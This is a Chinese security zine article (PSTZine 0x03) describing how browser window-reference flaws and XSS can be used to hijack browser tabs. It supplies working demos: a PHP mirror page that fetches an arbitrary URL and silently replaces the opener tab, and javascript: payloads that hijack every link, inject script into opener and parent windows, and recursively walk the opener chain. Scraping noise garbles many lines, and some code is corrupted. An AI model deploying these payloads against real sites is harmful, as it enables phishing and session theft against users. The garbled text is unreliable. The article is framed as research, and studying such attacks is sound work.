[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

admin

                           ==Ph4nt0m Security Team==

- H" j# q! O/ D) _                       Issue 0x03, Phile #0x05 of 0x07

8 S% p$ F7 d. a) R. {! d" `
|=---------------------------------------------------------------------------=|
3 g- h$ n/ [5 m|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
$ r$ V3 F8 S9 x& A* D% Y/ b( |  K9 ~|=------------------------=[      By rayh4c     ]=---------------------------=|
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
|=---------------------------------------------------------------------------=|
* S+ \+ i& R& Q9 Y
, |% \. m% Y* Y0 U6 ?. l/ z6 C( s
[目录]

% L' Z) i, a. m1. 前言
2. 同源策略简叙
. T0 Y$ j( \) \0 `0 I0 j: n3. 理解window对象的同源策略
7 y* g/ X7 B; J1 w6 d4. 窗口引用功能中的同源策略漏洞
  4.1 父窗口引用子窗口的同源策略问题
  4.2 子窗口引用父窗口的同源策略问题
5. 利用窗口引用漏洞劫持浏览器
6. 利用XSS漏洞劫持浏览器
: J. w! Y; g2 y4 s0 V- q  6.1 正向跨窗口劫持
  6.2 反向跨窗口劫持
  6.3 极度危险的跨框架窗口引用劫持
  6.4 极度危险的正反向跨窗口递归劫持
$ p7 y2 ?7 Y1 t: ?! E# r  6.5 完全控制浏览器
7. 后记
8. 参考


一、前言
# d, I8 ]" ^# Q% d: B! q0 I2 T
    最近国内关于XSS漏洞的技术文档都比较少，所以决定写这篇文档，其中的很多细节和朋
友们都沟通讨论很久了，其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在，告诉了大家一个真正的跨站师是不会被
条条框框所束缚，跨站师们在不断的创新，跨站师们会展示XSS漏洞的所有可能。
8 o' ]6 @5 y2 y2 c" R" \5 E7 `! G- C- W
, m# r3 O$ g7 ~/ N$ I
二、同源策略简叙

    同源策略是浏览器的安全基础，它是浏览器支持的客户端脚本的重要安全标准，我们可以
) O) `' V! e( r3 n4 i1 V从“源”上了解这一安全标准，按照W3C的标准这个“源”包括域名、协议和端口，各大浏览器都
, u9 T+ o; u/ U/ G% g: c% G7 _& C曾爆出过很多同源策略漏洞，危害程度各有不同，比如从06年开始流行至今的MS06-014网页木
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
. ], t( m3 X" i漏洞，然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性，最终实现浏览器劫持。

* c6 f) F& w) G1 k
三、理解window对象的同源策略

    窗口即指的是浏览器窗口，每个浏览器窗口都可以使用window对象实例来表示，window对
象有很多属性和方法，写一个简单的脚本可以历遍出window对象的所有属性和方法：
1 |# S( ?% N2 P# x7 f; H
--code-------------------------------------------------------------------------
$ G) i% Z$ S  Z/ Z/ Y<script language="javascript">
for(p in window) document.write(p+"<br>");
</script>
-------------------------------------------------------------------------------
' X, o: C( H# h; H
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容，当这些属性和方
法只在一个窗口中使用并不会凸显出安全问题，但是当多个window对象开始互相引用的时候，
0 k8 a& Y8 m, U# x0 o4 U' T* v这些属性和方法就必须遵循同源策略。
( h7 ^8 g; ~% ~2 K0 v
- Y, [1 I% |; O3 n* }2 ~: n  C) a& ~5 h    举一个简单的例子，如果在a.com的网页可以调用b.com网页window对象的属性和方法，那
么跨站师就可以随便XSS互联网上任何一个网站了，所以为了避免安全问题，同源策略是必须
+ a( C' V, H7 ]4 R0 N的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试，这
6 z3 a) ~# i  ~) C个脚本的效果是调用不同源的子窗口window对象的属性和方法，我们会发现location属性的
+ X" _+ Y, M% e) r' M! e. ?: ]值类型是空白的，这种情况太特殊了，说明不同源的父窗口引用子窗口window对象的location
, c% |2 l9 `( u7 ?6 Y属性并没有被拒绝访问。

( @$ y# S, s% ]& U6 W1 ]--demo.html--------------------------------------------------------------------
<script language="javascript">   
function allPrpos(obj) {      
      var props = "<table><tr><td>名称</td><td>值</td>";           
, v$ i6 M5 y/ {( ~      for(var p in obj){         
" A$ Y+ P7 b7 O2 A2 v1 \) |            if(typeof(obj[p])=="function"){   
2 g4 V7 \- O+ v                   obj[p]();   
             }else{                     
3 H- z- F# W- j$ q( |; P/ l$ O                  try   
                   {   
) h( [, G/ o! c) Z. N' O9 n: j                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
. S* y$ J7 r8 g2 ?# v0 s/ n, I                   }   
                  catch (ex)   
/ k, p4 f% `. O, O4 V                   {   
                  
$ T: f& P0 a3 t( B' _" ^/ V1 t                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
                   }   
3 {4 k. A: w; s                       
             }   
       }   
   
, C6 U* ]" A: Q* j5 O! M       document.write(props+"</table>");   
}   
   
function createWin() {
        newWin = window.open ("http://www.google.com");  
+ M' x8 m& s3 w4 O) f% [9 O7 T1 o        setTimeout(function(){allPrpos(newWin)},2000);
# S2 s4 y6 \1 X! u}

</script>

; u3 {$ w9 Z) L# j" s<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------

% p! _% u$ `' U, S
# |8 W$ B, F) b- I4 ]四、窗口引用功能中的同源策略漏洞
0 _' G2 P" x  T
6 _9 z! y' j# i9 l$ G/ \" K( ?0 r  V4.1 父窗口引用子窗口的同源策略问题
8 L* g$ I- N, T# M; [
. e/ r3 e* M. D' u) g% y    去年我在幻影杂志发过的IE6跨域脚本漏洞，这个问题微软已经发布了ms08-058补丁修复，
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试，我们知道
浏览器并没有阻止父窗口访问非同源子窗口的location属性值，我们可以使用下面的脚本进
/ B& M9 u3 I1 ~  s0 I# N行测试，会发现父窗口可以控制非同源子窗口location属性值。

4 v$ z+ ^' J5 t5 ?--vul1.html--------------------------------------------------------------------
- c; X8 d# L7 ^5 d, S3 g& c<script language="javascript">
6 p3 v* ?/ W% E3 [/ Yfunction createWin() {  
1 c) l# @2 j9 H% n; K; _6 [7 @        newWin = window.open ("http://www.google.com");  
! L5 H- x: p' `1 A        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
}
* w3 t1 M- A5 r2 z% W) M</script>
: y+ ], ?$ r8 n. H4 m
2 y# b3 H) ?6 S& E" i: i<button onclick='createWin()'>创建一个非同源子窗口测试</button>
-------------------------------------------------------------------------------
. N; m. d% W; B6 f+ v" q  i1 [5 T

; W% f9 `; R/ h- S- Q  G* h4.2 子窗口引用父窗口的同源策略问题
6 k& Y% Y. D, \- ^
8 |5 K) r& B3 h1 p% D) \    逆向测试一次会发现子窗口引用父窗口也存在同样的问题，这里为了更方便和直观我使
% X; k' a* s" u2 U: g5 M用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener，我们
可以随意浏览一个网站点击链接打开N个网页，在这些网页的地址栏注入下面的脚本，你一定
; u8 \3 p; L9 i' R6 [* J$ i会惊奇的发现，不管同源还是非同源的父窗口都转跳到了80SEC网站。
1 x5 B1 U6 D! b; v. ~
! \7 T2 I/ w8 ^+ N; `6 }7 O3 C2 L--code-------------------------------------------------------------------------
. a5 ]: F1 r8 u
( t, C/ X) X7 n7 K9 R. a( \javascript:window.opener.location = "http://www.80sec.com";void(0);

( W( Q1 w4 Z3 j+ x( o( U-------------------------------------------------------------------------------
1 n9 ?: U/ d" P8 f" ]% ~

五、利用窗口引用漏洞劫持浏览器
" X, S2 D+ d* Z& D* J
2 \2 z4 s; X5 k# V    经过上面三个枯燥的测试，我们已经暴露了浏览器一个非常严重的安全问题，非同源的子
, K# f$ k% K' L6 X4 A窗口和父窗口可以互相引用控制window对象的location属性值，并没有严格遵循同源策略，那
8 H' i/ {# ]+ \+ \; E- G5 ?6 s么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
" {! t% s! i# l# |# s6 ]5 T  {
* E7 N  p  a& s: J# S    我们打开浏览器访问互联网上的各个网站，无时无刻不在点击链接，我们点击链接想要产
生的结果是去访问我们想要去的URL地址，用户的正常点击只会产生两个结果，打开新窗口或
者当前窗口转跳，试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
- O7 Z2 \6 @( {4 j后，打开了一个“无害”的网页，原本浏览的信任网页却已经被悄悄替换了，大家可以联想一下
+ G" h+ v( T+ [" x2 J会产生什么可怕的后果。

- G4 b( g6 H( |( y# w    下面我写了一个劫持浏览器的小Demo，思路是获取REFERER后生成镜像页面，同时加入我
2 x* z" A# x; c们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试，将http://127.0.0.1/hjk_ref.php
这样的链接发到任意一个网站上，点击链接打开新窗口，当所有的注意力都停滞在新窗口的时
候，3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路，发挥跨站师的想象力，可
以做更多的事情，所有的一切仅仅是因为点击了一个链接。

--hjk_ref.php------------------------------------------------------------------
$ s  i) f+ x0 a6 p( m<?php
9 U2 R' ~5 W- Wif (array_key_exists("HTTP_REFERER", $_SERVER)) {
$Url_Mirror = $_SERVER["HTTP_REFERER"];
}
if(isset ($_GET['ref'])) {
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
3 a  `7 l) e) ~& ?) _3 C}
?>
& Z5 f4 b6 F" y1 g1 C
; V! e6 h9 \, U8 l. W<script language="javascript">
7 m  {0 _! {4 S1 _setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
7 {/ G/ n6 Y3 ]* R  F</script>
-------------------------------------------------------------------------------
: E5 J& S, a6 m5 s, o8 J" e
) b' w) h3 r) r, X3 `0 Y% @    注：各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
* c+ x" ]: p1 Y3 f

六、利用XSS漏洞劫持浏览器
4 L$ b4 ~8 B: C$ m' j8 {
    延续第四部分的思路，这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
持久和非持久两种，这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期，窗口关闭后
. i$ ~: G6 E1 D' q% e: mXSS漏洞的效果也就完全消失，窗口的限制一直束缚着跨站师们的发挥，我这里将和大家一起
  M2 B* W$ \1 Q0 q" f" r9 J讨论跨站师的终极技巧：
/ e( b' ^  s$ [

6.1 正向跨窗口劫持

1 Z. W$ ^' t. ]1 D; U- {, G    大家可以先试验下hijack_open.js这个脚本，比如打开http://bbs.dvbbs.net/动网论坛
: u0 q/ i, i+ F1 D主页，我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本，然后整个页面的链
接就都被劫持住了，点击论坛里的任意一个链接，打开的新窗口都会被注入了一个alert对话
框脚本。
% A# @1 S. t& s( u
--hijack_open.js---------------------------------------------------------------

javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);

-------------------------------------------------------------------------------

7 e5 _) n1 i0 x4 B' k
6.2 反向跨窗口劫持
5 H  [8 q0 i6 A* c% l+ Q
    同样我们也可以在动网论坛试验，新打开任意一个版块的窗口，在地址栏里复制下面的代
码使用伪协议注入hijack_opener脚本，我们会发现原来的页面被反向注入了一个alert对话
框脚本。

--hijack_opener.js-------------------------------------------------------------
7 o6 J. A* ]. m2 r) \+ r. d+ o
* N' [# E( u/ b6 o  K& M+ a" Ijavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);

-------------------------------------------------------------------------------

& X9 S2 l1 B( }1 G4 A. C$ h
( b1 c9 t) A6 P5 p8 p6.3 极度危险的跨框架窗口引用劫持

$ d5 T5 _6 L. [8 M( ?" l+ Z7 b; U/ B    非持久型XSS漏洞是在URL参数中注入脚本，一度被认为很鸡肋，一个非持久型的XSS漏洞
可能出现URL参数过于冗长等缺点，下面这个window.parent.opener的跨框架窗口引用技巧就
) K1 ?  Q  D5 d7 K# j- k适用于所有的非持久型XSS漏洞，我们可以在一个被攻击者的信任网站上的网页里iframe一个
0 a' d( c! H  L% o1 q) k& c非持久型的XSS，如下：

<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>

    在vul参数中写入下面的hijack_frame_opener脚本，跨站师就可以反向跨框架引用窗口
注入脚本。
; h$ H! o( V- Y! P2 H
--hijack_frame_opener.js-------------------------------------------------------
<script>
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
3 V6 A1 `+ k6 n: O: ^</script>
. C. y9 x: G( Y, P-------------------------------------------------------------------------------
! F! ^3 T4 p+ z" R- L  g& s' n
3 j( w9 q/ u* P+ P
6.4 极度危险的正反向跨窗口递归劫持

1 P  \: _1 g, _    luoluo建议我加上了这一部分，窗口之间的引用关系可能是复杂的，我们可以通过window
  h3 y! `8 F" |2 m& h3 O0 x的opener属性链反向递归查找窗口注入XSS脚本，将互相引用过的同域窗口全部劫持，并通过
, D" n9 r6 ]$ y% }" i异常处理规避之间跨域页面的访问异常，代码如下：

--code-------------------------------------------------------------------------

( s; O0 M8 b! Y1 p' M8 b2 W4 Q4 ~javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
' a! O4 v! Y, h7 ~
9 X( }5 I2 F; @/ b-------------------------------------------------------------------------------
* G# n$ Y& z" Z- Z, D) M; X+ k
    假设页面打开序列有A域->B域->A域的情况，通过对第二个A域页面的反向递归劫持则可
9 C2 q) C5 M* @. n6 W6 Y- E: D, d3 K以劫持B域之前的A域页面，从而实现“隔空打击”。

    同理，正向跨窗口劫持也可以实现递归劫持所有同域的链接，对每个打开的被劫持的页面
执行和第一个页面一样的劫持脚本，但是正向递归没法实现反向递归的那种“隔空打击”。
; R! o7 t5 x( P' m7 O0 {
4 q( D( A) V: e+ Y- W* b. Z    结合正向和反向的链式递归劫持，最终我们可以劫持所有的同域页面。


9 \" c3 Q  I( i4 i6.5 完全控制浏览器
4 [  q) b+ Y0 u. `
+ w' Q; t3 G/ N& P5 h: y    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题，而在跨站师的角度则
是能够进入同源策略了，可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
漏洞在同源策略允许的范围内再跨页面注入脚本，可以不再为窗口关闭后XSS漏洞的效果消失
而烦恼，劫持窗口后的跨站师们可以任意发挥，劫持表单，劫持请求，劫持输入等等，我就不再
2 c6 B1 Z9 q+ Y8 I/ J6 n& B列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的，最后实现跨站
师的终极目标 - 完全控制浏览器。

8 ?% y! ^% A, Z& l9 l
七、后记

    文章涉及的安全技术全部都是纯研究性质，请不要将这些技术使用在非法途径上。安全
与应用永远是一个矛盾体，通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
! m* E; V$ c% I- \' R# O1 J( b过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。

. L& u! o) n# D5 H
; x, C) y% _7 p1 C- E八、参考
1 d/ K- p6 G0 {" s' u) b% |9 v
3 K( x0 L+ q. l) ]! K5 ?1. http://en.wikipedia.org/wiki/Same_origin_policy
! ?8 N- u: j% Q3 w2. http://code.google.com/p/browser ... licy_for_DOM_access
3. http://www.w3.org/TR/Window/
3 {: `2 l* d- c) _$ j1 o4. http://www.80sec.com/release/browser-hijacking.txt
& Y' E/ B0 a( _' a9 Y! T5. http://www.80sec.com/all-browser-security-alert.html
6. http://www.80sec.com/ms08-058-attacks-google.html
% b3 r5 ^5 ~* C0 M7 c8 z. ^" e
-EOF-